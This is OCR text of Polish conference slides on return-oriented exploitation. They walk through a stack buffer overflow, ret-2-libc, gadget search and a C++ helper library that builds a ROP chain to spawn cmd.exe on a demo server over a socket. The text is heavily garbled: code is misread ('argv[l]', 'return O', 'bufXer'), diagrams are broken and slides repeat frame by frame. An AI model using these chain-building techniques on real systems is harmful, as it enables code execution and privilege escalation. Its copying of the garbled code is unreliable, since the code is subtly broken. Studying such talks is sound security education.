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Stack Buffer Overflow

STOS

$mieci $mieci $mieci $mieci ESP— ...

PROGRAM

i.nt main (int argc, char **argv) {
char buffer[8];
strcpy (buffer, argv[l]);
return O;

}
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Stack Buffer Overflow

STOS

$mieci $mieci ESP— EBP RET ..

PROGRAM

int main(int argc, char **argv) {
char buffer|[8];
strcpy (buffer, argv[l]);
return O;

}
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Stack Buffer Overflow

STOS

ESP—» buffer buffer EBP RET ..

PROGRAM
int main(int argc, char **argv) {
char buffer|[8];

strcpy (buffer, argvi[l]);
return O;

}
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Stack Buffer Overflow

STOS

... $mieci $mieci ESP— RET

buffer_buffer EBP RET ..

PROGRAM
int main(int argc, char **argv) {
char buffer|[8];

strcpy (buffer, argvi[l]);
return O; \

} AAAAAAAAAAAAAAAA
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Stack Buffer Overflow

STOS

.. $mieci $mieci ESP— RET

AAAA buffer EBP RET ..

PROGRAM

int main ({\nt argc, char **argv) ({
char bufXer([8];

strcpy (buXfer, argvi[l]);
return O;

} AAAAAAAAAAAAAAAA

P | '
';’ Return-oriented exploiting 8 /°°



Stack Buffer Overflow

STOS

.. $mieci $mieci ESP— RET
-IEE!I_

int maln(lnt arg®, char **argv) {

char buffer[8];
S strcpy(buffer, argyvi[l]);
return O;

} AAAAAAAAAAAAAAAA
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Stack Buffer Overflow

STOS

.. $mieci $mieci ESP— RET

AMAA AAAA AMAA RET ..

PROGRA
int main(int argc, chan **argv) ({
char buffer|[8];

gl strcpy(buffer, argv[l])
return O;

} AAAAAAAAAAAAAAAA
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Stack Buffer Overflow

STOS

... $mieci $mieci ESP— RET

AAAA AAAA ARAA AMAA .

PROGRAM
int main(int argc, char **arqgy) ({
char buffer|[8];

dlgsd strcpy(buffer, argv[1l]) ;
return O;

} AAAAAAAAAAAAAAAA

P | '
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Stack Buffer Overflow

STOS

.. smieci smieci émieci RET &buffer

ESP AAAA AAAA AAAA AAAA .

PROGRAM

int main(int argc, char **argv) {
char buffer|[8];
strcpy (buffer, argv[l]);

return 0;

}

= | et
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Stack Buffer Overflow

STOS

.. Smieci smieci smieci RET Sbute

argul] AAAA AAAA ESP=S AAAA ..

PROGRAM

int main(int argc, char **argv) {
char buffer|[8];
strcpy (buffer, argv[l]);

return 0;

}
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Stack Buffer Overflow

STOS

. $mieci $mieci $mieci RET &buffer

argv[1] AAAA AAAA AAAA ESP— ..

PROGRAM

= Epi
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Stack Buffer Overflow

Wystarczy zmienic dwie rzeczy w
prezentowanym przykiadzie aby wykonac
dowolny, dostarczony przez atakujacego, kod:
1. Shellcode w buforze lub po adresie RET

2. Nadpisanie RET adresem shellcode’u

% |
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Przeciwdziatanie skutkom BO

1. Losowy adres stosu

’
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Przeciwdziatanie skutkom BO

1. Losowy adres stosu

2. Niewykonywalny stos (NX/XD)

o
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Enter teh ret-2-libc

return to libc

technika wykorzystywania
stack buffer overflow
polegajaca na uzyciu istniejgcego
kodu zawartego w bibliotekach
oraz w samej aplikacji

o | '
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Enter teh ret-2-libc

Rok 1997:
Solar Designer tworzy pierwszy
exploit typu ret-2-libc

(http:/linsecure.org/sploits/linux.libc.return.lpr.sploit.html)

’
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Enter teh ret-2-libc

Rok 1997:
Solar Designer tworzy pierwszy
exploit typu ret-2-libc

(http:/linsecure.org/sploits/linux.libc.return.lpr.sploit.html)

Rok 2001:
Artykut Nergal'a w Phrack 0x3a

,The advanced return-into-lib(c) exploits”
(http://www.phrack.com/issues.html?issue=58&id=4)
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Enter teh ret-2-libc

Rok 2008:
Erik Buchanan, Ryan Roemer, Stefan Savage
i Hovav Shacham z University of California

,Return-oriented Programming” @ BlackHat
(http://www.cse.ucsd.edu/~hovav/talks/blackhat08.html)
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Enter teh ret-2-libc

ret-2-libc vs. losowosc stosu = ret-2-esp

o
';’ Return-oriented exploiting 22/ 0



Enter teh ret-2-libc

ret-2-libc vs. losowosc stosu = ret-2-esp

1. Znajdz w pamiegci instrukcje
»jmp ESP” (FF E4)
lub ,,call ESP” (FF D4)

’
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Enter teh ret-2-libc

ret-2-libc vs. losowosc stosu = ret-2-esp

1. Znajdz w pamiegci instrukcje
»jmp ESP” (FF E4)
lub ,,call ESP” (FF D4)

2. Nadpisz RET adresem tej instrukcji
(zaktadajac ze shellcode jest po RET)

<
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Enter teh ret-2-libc

Troche liczb!
llos¢ wystapien FF E4 lub FF D4 per
biblioteka systemowa:

PLIK FF E4 FF D4
Vista kernel32.dli 1 0
Vista ntdll.dlI K 2
Vista gdi32.dli 1 2
Vista user32.dli 28 60

’
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Enter teh ret-2-libc

Troche liczb!
llos¢ wystapien FF E4 lub FF D4 per
biblioteka systemowa:

PLIK FF E4 FF D4
XP2 user32.dli 69 17
XP2 kernel32.dli 0 2
XP2 ntdil.dlil L 3
XP3 kernel32.dli 1 2

’
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Enter teh ret-2-libc

Troche liczb!
llos¢ wystapien FF E4 lub FF D4 per
biblioteka systemowa:

PLIK FF E4 FF D4
OSX Foundation ~306 ~354
OSX
CoreFoundation 153 33

’
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Enter teh ret-2-libc

Troche liczb!
llos¢ wystapien FF E4 lub FF D4 per
biblioteka systemowa:

PLIK FF E4 FF D4
libc-2.3.6.s0 92 21
linux-gate.so.1 1* 0*

’
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Enter teh ret-2-libc

ret-2-libc vs. niewykonywalny stos

STOS

.. Smieci smieci smieci RET Sbute

= | . )
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Enter teh ret-2-libc

ret-2-libc vs. niewykonywalny stos

STOS

.. Smieci smieci smieci RET Sbute

= | . )
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Enter teh ret-2-libc

ret-2-libc vs. niewykonywalny stos

STOS

. $mieci $mieci $mieci RET &buffer
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Enter teh ret-2-libc

ret-2-libc vs. niewykonywalny stos

STOS

. $mieci $mieci $mieci RET &buffer
Jbin” /sho” .. . .. |

= | . )
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Enter teh ret-2-libc

ret-2-libc vs. niewykonywalny stos

STOS

. $mieci $mieci $mieci RET &buffer

aJbin" fsh\0” .. ..

EIP = instrukcja ret w main() @
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Enter teh ret-2-libc

ret-2-libc vs. niewykonywalny stos

STOS

. $mieci $mieci $mieci RET &buffer
Jin” fsh\0” .. ..

EIP = system(,,/bin/sh”)

= T
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Enter teh ret-2-libc

ret-2-libc vs. niewykonywalny stos

STOS

. $mieci $mieci $mieci RET 8buffer
aJbin* fsh\0” .. ..

EIP = exit(0x6e69622f)

= Epi
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Enter teh ret-2-libc

ret-2-libc vs. niewykonywalny stos

Whiosek:

Atakujacy spowodowat uruchomienie
shell'a, mimo iz CPU nie wykonat
zadnej instrukcji dostarczonej
przez atakujgcego!

o | '
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Do czego wracac?

ret-2-7?7?7?

p
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Do czego wracac?

ret-2-7?7?7?

Mozna wrocic do kazdego adresu ktory
Jest w pamieci wykonywalnej!

’
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Do czego wracac?

ret-2-7?7?7?

Mozna wrocic do kazdego adresu ktory
Jest w pamieci wykonywalnej!
- ret-2-lib(c)

’
. “ Return-oriented exploiting 39/ ©0



Do czego wracac?

ret-2-7?7?7?

Mozna wrocic do kazdego adresu ktory
Jest w pamieci wykonywalnej!
- ret-2-lib(c)
- ret-2-application

’
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Do czego wracac?

ret-2-?7??
Mozna wrocic do kazdego adresu ktory
Jest w pamieci wykonywalnej!
- ret-2-lib(c)
- ret-2-application
- ret-2-data

% |
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Do czego wracac?

ret-2-7?7?7?

Mozna wrocic do kazdego adresu ktory
Jest w pamieci wykonywalnej!
- ret-2-lib(c)
- ret-2-application
- ret-2-data
- ret-2-headers

<
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Do czego wracac?

ret-2-7?7?7?

Mozna wrocic do kazdego adresu ktory
Jest w pamieci wykonywalnej!
- ret-2-lib(c)
- ret-2-application
- ret-2-data
- ret-2-headers
- ret-2-shared-memory

<
P e

- “ Return-oriented exploiting 43/ c0



Do czego wracac?

ret-2-7?7?7?

Mozna wrocic do kazdego adresu ktory
Jest w pamieci wykonywalnej!
- ret-2-lib(c)
- ret-2-application

- ret-2-data |

- ret-2-headers -
- ret-2-shared-memory
- ret-2- mapped-flles _
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Do czego wracac?

ret-2-7?7?7?

Mozna wrocic do kazdego adresu ktory
Jest w pamieci wykonywalnej!

- ret-2-anything

’
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Do czego wracac?

Do czego warto wracac?

o
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Do czego wracac?

Do czego warto wracac?

Warto wracac do kazde] sekwencji
opcode'ow zakonczonej poleceniem
powrotu:

RET lub RETN X

’
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Do czego wracac?

Do czego warto wracac?

Warto wracac do kazde] sekwencji
opcode'ow zakonczonej poleceniem
powrotu:

RET lub RETN X
POP rejestr + JMP rejestr

’
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Do czego wracac?

Do czego warto wracac?

Warto wracac do kazde] sekwencji
opcode'ow zakonczonej poleceniem
powrotu:

RET lub RETN X
POP rejestr + JMP rejestr
dowolna analogiczna sekwencja

’
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Do czego wracac?

11! WAZNE !!!

Oprocz sekwencji celowo zakonczonych
opcodem RET (C3) lub RETN (C2)
mozemy powracac rowniez do sekwencii
w ktorych wystapienie C3/C2 jest

przypadkowe!

<
X
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Do czego wracac?

Przykiad:
mov eax, 0x0000C358

p
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Do czego wracac?

Przykiad:
mov eax, 0x0000C358

\

B8 58 C3 00 00

’
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Do czego wracac?

Przykiad:
mov eax, 0x0000C358

\

JBB 58 C3 00 00

mov eax, 0x0000C358

’
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Do czego wracac?

Przykiad:
mov eax, 0x0000C358

\

JBB 58 C3 00 00

mov eax, 0x0000C358
pop eax

ret

’
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Do czego wracac?

Wyszukiwanie sekwenciji...

p
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Do czego wracac?

Wyszukiwanie sekwenciji...

Dla kazdego bajtu:

1. Jezeli bajt jest rowny C3 lub C2:

1.1. Cofnij sie o 10 bajtow

1.2. Zdisassembluj instrukcje

1.3. Idz do nastepnego bajtu

1.4. Jezeli nie dotarles jeszcze o [o C3ICZ
idz do punktu 1.2.

2. ldz do nastepnego bajtu

o | '
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Do czego wracac?

Wyszukiwanie sekwenciji...

Nalezy wykonac zaprezentowany
algorytm dla kazdego obszaru
pamieci wykonywalne] atakowane]
aplikaciji.

Wynikiem dziatania algory-t'-'mu jest
lista sekwencji instrukcji i ich adresow.

<
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Do czego wracac?

DEMO 011 02

’
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Do czego wracac?

Co ciekawego znalazt rta_finder.exe ?

p
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Do czego wracac?

Co ciekawego znalazt rta_finder.exe ?

———— RTA Q@ 6678a0c2 ---- (2)
POP ECX
RET

SetECX(a) —

’
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Do czego wracac?

Co ciekawego znalazt rta_finder.exe ?

—=—== RTA @ 77c3cb2a ---- (2)
POP EDX
RET

SetEDX(a) —

p
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Do czego wracac?

Co ciekawego znalazt rta_finder.exe ?

-=—== RTA @ 77¢c33c42 ---- (3)
MOV [EDX], ECX
RET

Poke(a,b) » SetECX(a) SetECX(b)

’
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Pseudo-jezyk pseudo-skryptowy

Utatwiamy sobie tworzenie exploitow!
Potrzebne beda:

- Komplikator jezyka C++
- Nasz ulubiony edytor

’
2 ¢ Return-oriented exploiting 63/ ©0



Pseudo-jezyk pseudo-skryptowy

vector<DWORD> exploit;
exploit.resize (20) ;

#define ADDR SETECX 0x6678a0cl

void SetECX (DWORD a) {
exploit.push back (ADDR SETECX) ;
exploit.push back(a) ;

}

’
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Pseudo-jezyk pseudo-skryptowy

#define ADDR SETEDX 0x77c3cb29

void SetEDX (DWORD a) {
exploit.push back (ADDR SETEDX) ;
exploit.push back(a) ;

}

’
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Pseudo-jezyk pseudo-skryptowy

##define ADDR POKE 0x77c33c40

volid Poke (DWORD dst, DWORD a) {
SetECX (a) ;
SetEDX (dst) ;
exploit.push back (ADDR POKE) ;

}

’
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Pseudo-jezyk pseudo-skryptowy

void Emit (DWORD dst,
const void *what,
DWORD count)
{
DWORD *dwhat = (DWORD*)what;
for(; count >= 4;
dst+=4, count—-=4, dwhat++)
Poke (dst, *dwhat);

a | :
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Pseudo-jezyk pseudo-skryptowy

void Emit (DWORD dst,
const void *what,
DWORD count)
{
DWORD *dwhat = (DWORD*)what;
for(; count >= 4;
dst+=4, count—-=4, dwhat++)
Poke (dst, *dwhat);

a | :
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Pseudo-jezyk pseudo-skryptowy

Problem wywotywania funkcji
Z parametrami

STOS

addr nastepny
ESP— G [TRer

oczekiwany
RET |
L4 =
: g ’

.
k
ot

. :";‘“r A PR

EIP x |

. | ' .
“, “ Return-oriented exploiting 69/ 00




Pseudo-jezyk pseudo-skryptowy

Problem wywotywania funkcji
Z parametrami

STOS

nastepny
.. ESP[TREY

oczekiwany
RET |

“ﬂ-’*‘“

‘ 'm,_l’:"-\.;l;"'ﬂf fai !
: oo Sy
i l.:l-_"' " A

EIP = addr funkCJl
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Pseudo-jezyk pseudo-skryptowy

Problem wywotywania funkcji
Z parametrami

STOS

addr
. e gy ESP— argl  arg2

oczekiwany
RET |

."r:',- ol
e e L -

. ;ﬁf&@,p.

EIP = nastepny RET
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Pseudo-jezyk pseudo-skryptowy
Problem wywotywani2 .unkcji
Z parametra .i
i ESP a2,
' ' ESP—

X ' LI s
L 2N : " -"‘f'r_'-
i [ 9

Sl A ;
?ﬁ?.“#:'." 5l i

¥ v
i LA :
E M 4, a
L] e ; ;
= -
5, ' e
m |
k i k

o | -
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Pseudo-jezyk pseudo-skryptowy

Problem wywotywania funkcji
Z parametrami

STOS

addr adres

oczekiwany
RET |

pop EAX X

pop EDX *E

pop EBP o -
ret ey

~ ElP=X |

. | ' .
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Pseudo-jezyk pseudo-skryptowy

Problem wywotywania funkcji
Z parametrami

STOS

adres
. ESP— e argl arg2

oczekiwany
RET |

pop EAX X

pop EDX *E :

pop EBP i
ret

EIP = addr funkCJl
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Pseudo-jezyk pseudo-skryptowy

Problem wywotywania funkcji
Z parametrami

STOS

addr
. e gy ESP— argl  arg2

oczekiwany
RET |

pop EAX &

pop EDX u

pop EBP N
ret el T

EIP = pop EAX
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Pseudo-jezyk pseudo-skryptowy

Problem wywotywania funkcji
Z parametrami

STOS

addr adres

oczekiwany
RET |

pop EAX X

pop EDX H W

pop EBP ne :
ret 4

EIP = pop EDX
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Pseudo-jezyk pseudo-skryptowy

Problem wywotywania funkcji
Z parametrami

STOS

addr adres

oczekiwany
RET

pop EAX X
pop EDX H i
pop EBP u» P

ret <

~ EIP=popEBP EBP
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Pseudo-jezyk pseudo-skryptowy

Problem wywotywania funkcji
Z parametrami

STOS

addr adres
funkciji POP x3

oczeklwany
ESP ™ .. I--_

pop EAX &

pop EDX T

pop EBP T
ret i

-1 = I .
" -
4 i
m |
E .

2 | -
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Pseudo-jezyk pseudo-skryptowy

Problem wywotywania funkcji
Z parametrami

STOS

addr adres
funkciji POP x3

_arg3 ESP— .. I__

pop EAX &

pop EDX -

pop EBP m :
ret ‘

EIP = oczekiwany RET |
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Pseudo-jezyk pseudo-skryptowy

void Call system (DWORD what)
{
exploit.push back (
GetAPIAddress (
"msvert.dll",
"system")) ;
exploit.push back (ADDR SETECX) ;
exploit.push back (what);

}

’
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Pseudo-jezyk pseudo-skryptowy

DWORD GetAPIAddress (
const char *1lib,
const char *name)

{
return (DWORD)GetProcAddress (

GetModuleHandle (l1l1ib) ,
name) ;

p
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Pseudo-jezyk pseudo-skryptowy

Exploitujemy server.exe!

Quest: Odpali¢ cmd.exe z prawami
usera admin.

’
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Pseudo-jezyk pseudo-skryptowy

exploit.resize (28 / 4);
DWORD SomeFreeSpace=0x00406058;

Emit (SomeFreeSpace,
"c:\\windows\\system32"

"\\cemd.exe\0", 28);
Call system(SomeFreeSpace) ;

o | '
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file://windows//system32

Pseudo-jezyk pseudo-skryptowy

NetSock s;
s.Connect("127.0.0.1", 33333);
s.Write(
&exploit[0],
exploit.size () *4) ;
s .Disconnect () ;

o | '
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Pseudo-jezyk pseudo-skryptowy

DEMO 03

'
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Skoki i petle

Mechanizm skokow - labele
(kompilacja jednoprzebiegowa)

struct StrCmp {
bool operator () (
const char* sl,
const char* s2) const
{ return strcmp( sl1, s2 ) < 0; } };

map<const char*, DWORD, StrCmp>
labels;

a | :
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Skoki i petle

Mechanizm skokow - labele
(kompilacja jednoprzebiegowa)

void Label (const char *label)

{
labels[strdup (label)] =

exploit.size() * 4;

a | :
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Skoki i petle

Skok bezwarunkowy:
(Wazne: ESP jest naszym EIP!)

-———- RTA Q@ 77e942dd ---- (2)
ADD ESP, [EBX]
RET

’
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Skoki i petle

Skok bezwarunkowy:
(Wazne: ESP jest naszym EIP!)

void Jump (const char *label) {
DWORD Current =
(exploit.size() + 8) * 4;
DWORD RelJump = labels[label] -
Current;
Poke (SOME FREE SPACE, RelJump);
SetEBX (SOME FREE SPACE) ;
exploit.push back (ADDR ADDESPPEBX) ;

}

5 |
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Skoki i petle

Skok bezwarunkowy:
Przykiad uzycia (petla nieskonczona):

Label ("start") ;
Jump ("start") ;

% |
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Skoki i petle

Skok bezwarunkowy:
Przykiad uzycia (petla nieskonczona):

DEMO 04

p
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Skoki i petle

Skoki w przod:
Nalezy zrobi¢ dwuprzebiegowa
kompilacje, z opoznionym uzupetnianiem
exploita.

Wywotanie funkcji i niszczenie stosu:
Funkcje korzystajgc ze stosu niszczg go,
przez co przeplatanie petli z wywotaniami

funkcji jest utrudnione.

<
P X
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Skoki i petle

Skoki warunkowe:

Nie mozemy uzywac Jcc (jnz, jne, etc)
poniewaz Jcc zmienia EIP a nie ESP!

Co zamiast Jcc?

% |
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Skoki i petle

SETcc i troche matematyki! :)

p
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Skoki i petle

Przyktad:
Skocz do A jezeli zmienna B !1=0

’
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Skoki i petle

Przyktad:
Skocz do A jezeli zmienna B !1=0

MOV EAX,B  [EE:INNN - T

; e T o
3 i U i i
i #* -T‘h ?}'-"
%
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Skoki i petle

Przyktad:
Skocz do A jezeli zmienna B =0

LIV B 2 B

TEST EAX, EAX
SETNZ AL

MOVZX EAX, AL

= | et
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Skoki i petle

Przyktad:
Skocz do A jezeli zmienna B =0

MOV EAX, B TN - S
SETNZ AL
MOVZX EAX, AL
DEC EAX FFFFFFFF__ 0§

Ju r. - -d.-‘
PO e e S
- e i TE ‘
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Skoki i petle

Przyktad:
Skocz do A jezeli zmienna B =0

MOV EAX, B

TEST EAX, EAX
SETNZ AL
MOVZX EAX, AL

DEC EAX
NOT EAX

= | . )
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Skoki i petle

Przyktad:
Skocz do A jezeli zmienna B !1=0

MOV EAX, B

TEST EAX, EAX
SETNZ AL
MOVZX EAX, AL

DEC EAX
NOT EAX
AND EAX, A

K‘ ; : k . ; "
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Skoki i petle

Przyktad:
Skocz do A jezeli zmienna B =0

MOV EAX, B

TEST EAX, EAX
SETNZ AL
MOVZX EAX, AL

DEC EAX

NOT EAX .
AND EAX, A ISR S

ADD ESP, EAX
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Skoki i petle

Zamiast TEST i SETcc mozna pobrac

rejestr EFLAGS i na nim operowac.
(Return-oriented programming @ BH 2008)
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Luzne rozwazania...

A tak naprawde wystarczy

zapis do pamieci...
(VirtualAlloc, rozpakowanie kodu, RET)
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Luzne rozwazania...

Anty ret-2-anything czyli ASLR:
Vista vs OS X vs Linux-based

p
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Luzne rozwazania...

A gdyby tak uzyc ret-2-anything jako
zabezpieczenie przed RE?
(trace)
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Luzne rozwazania...

Kompilacja C/Pascala/Javy do RTA?

p
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The End

Dziekuje za uwage!
Czas na pytania ;>

-=(* e-mail *)=-
gynvaeld@coldwind.pl
michael@hispasec.com

-=(* blog. *)=-
http://gynvael.coldwind.pl
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